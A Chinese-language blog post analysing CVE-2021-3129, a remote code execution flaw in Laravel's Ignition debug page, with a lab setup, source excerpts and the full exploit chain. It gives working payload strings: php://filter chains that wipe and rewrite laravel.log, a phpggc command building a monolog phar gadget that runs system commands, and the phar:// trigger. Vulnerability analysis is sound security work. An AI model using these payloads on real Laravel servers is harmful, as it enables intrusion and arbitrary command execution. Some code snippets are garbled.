溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

怎么進(jìn)行CVE-2021-3129 漏洞分析

發(fā)布時(shí)間:2021-12-29 17:55:32 來(lái)源:億速云 閱讀:283 作者:柒染 欄目:安全技術(shù)

今天就跟大家聊聊有關(guān)怎么進(jìn)行CVE-2021-3129 漏洞分析,可能很多人都不太了解,為了讓大家更加了解,小編給大家總結(jié)了以下內(nèi)容,希望大家根據(jù)這篇文章可以有所收獲。

0x00 前言

CVE-2021-3129漏洞很像hitcon2018的One Line PHP Challenge,于是去看了看

<?php
($_=@$GET['orange']) && @substr(file($_)[0],0,6) ==='@<?php' ?include($_):highlight_file(__FILE__);
?>

通過(guò)Get傳入orange參數(shù)作為文件名,系統(tǒng)將該文件的前6個(gè)字符與@<?php比較,若匹配則包含這個(gè)文件。

php中的session.upload_progress

文件上傳時(shí)應(yīng)用可以發(fā)送一個(gè)POST請(qǐng)求到終端(例如通過(guò)XHR)來(lái)檢查這個(gè)狀態(tài)

如下:

怎么進(jìn)行CVE-2021-3129 漏洞分析

簡(jiǎn)而言之,我們可以在上傳文件時(shí)POST一個(gè)可控參數(shù)來(lái)達(dá)到遠(yuǎn)程命令執(zhí)行的目的

<!DOCTYPE html>
<html> 
    <body><form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">    
        <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />    
        <input type="file" name="file" />    
        <input type="submit" value="submit" /> </form></body>
</html>

php.ini的默認(rèn)選項(xiàng)

怎么進(jìn)行CVE-2021-3129 漏洞分析

enabled=on表示upload_progress功能開(kāi)始,也意味著當(dāng)瀏覽器向服務(wù)器上傳一個(gè)文件時(shí),php將會(huì)把此次文件上傳的詳細(xì)信息(如上傳時(shí)間、上傳進(jìn)度等)存儲(chǔ)在session當(dāng)中 ;

cleanup=on表示當(dāng)文件上傳結(jié)束后,php將會(huì)立即清空對(duì)應(yīng)session文件中的內(nèi)容,這個(gè)選項(xiàng)非常重要;

name當(dāng)它出現(xiàn)在表單中,php將會(huì)報(bào)告上傳進(jìn)度,最大的好處是,它的值可控;

prefix+name將表示為session中的鍵名

base64編碼

這里主要是介紹filter偽協(xié)議的convert.base64-decode

會(huì)將非base64字符給過(guò)濾掉后再進(jìn)行decode,但是如果=后面出現(xiàn)了別的base64字符,則會(huì)出現(xiàn)報(bào)錯(cuò)

interfece implements

<?php
interface` `Cinema
{
 ``const` `film = ``'加勒比海盜'``;
 ``public` `function` `show();
}
class` `Order ``implements` `Cinema
{
 ``public` `function` `show()
 ``{
  ``echo` `"影院 接口開(kāi)放了<br>"``;
 ``}
}
$face` `= ``new` `Order();
echo` `$face``->show();  
echo` `Cinema::film;

個(gè)人理解:interface類似于python的裝飾器,implements就是@。

0x01 環(huán)境搭建

git clone https://github.com.cnpmjs.org/SNCKER/CVE-2021-3129.git
cd CVE-2021-3129
docker-compose up -d

0x02 漏洞分析

主要步驟:

  1. 清空l(shuí)og

  2. 寫入phar

  3. 讀取phar

主要思路:

通過(guò)對(duì)Laravel的debug頁(yè)面進(jìn)行抓包,再對(duì)比源碼
怎么進(jìn)行CVE-2021-3129 漏洞分析

我們發(fā)現(xiàn)ViewFile以及variableName參數(shù)是可控的,源碼如下

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('

分析下來(lái),發(fā)現(xiàn)viewFile參數(shù)利用了php的"危險(xiǎn)函數(shù)"

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

進(jìn)一步分析,發(fā)現(xiàn)我們可以通過(guò)此頁(yè)面往Laravel的log文件寫入數(shù)據(jù)。那么我們可以結(jié)合上述函數(shù),對(duì)laravel的log文件進(jìn)行注入,達(dá)到遠(yuǎn)程執(zhí)行命令的目的。

我們首先清空l(shuí)og,然后寫入phar的POP鏈,再清空多余的字符,這樣就把log文件完全變成了phar規(guī)范的代碼,所以可以利用phar協(xié)議,反序列化執(zhí)行代碼,達(dá)到RCE。難點(diǎn)在于清空l(shuí)og以及POP構(gòu)造

1.清空l(shuí)og

php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

通過(guò)多次編碼,將log文件內(nèi)的字符轉(zhuǎn)換為非base64字符,然后再base64_decode

寫入AA,對(duì)齊

viewFile: AA

2.寫入phar

log文件的格式:

[時(shí)間] [某些字符] PAYLOAD [某些字符] PAYLOAD [某些字符] 部分PAYLOAD [某些字符]

PAYLOAD會(huì)在log中出現(xiàn)兩次,我們可以通過(guò)編碼去掉其中一個(gè)以及其他無(wú)關(guān)的字符。記得在payload后添加一個(gè)字符

怎么進(jìn)行CVE-2021-3129 漏洞分析

payload的生成

一般使用phpggc

php -d 'phar.readonly=0' phpggc monolog/rce1 system %s --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

小問(wèn)題:在file_get_contents()傳入\00的時(shí)候php會(huì)報(bào)Warning,導(dǎo)致phar無(wú)法寫入。那么可以替代\00使用=00(python編碼),使用convert.quoted-printable-encode過(guò)濾器將所有字符轉(zhuǎn)為=+ascii碼,再解碼出來(lái)。

清除多余字符

php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=test.txt

3.讀取phar

phar://../storage/logs/laravel.log/test.txt

看完上述內(nèi)容,你們對(duì)怎么進(jìn)行CVE-2021-3129 漏洞分析有進(jìn)一步的了解嗎?如果還想了解更多知識(shí)或者相關(guān)內(nèi)容,請(qǐng)關(guān)注億速云行業(yè)資訊頻道,感謝大家的支持。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI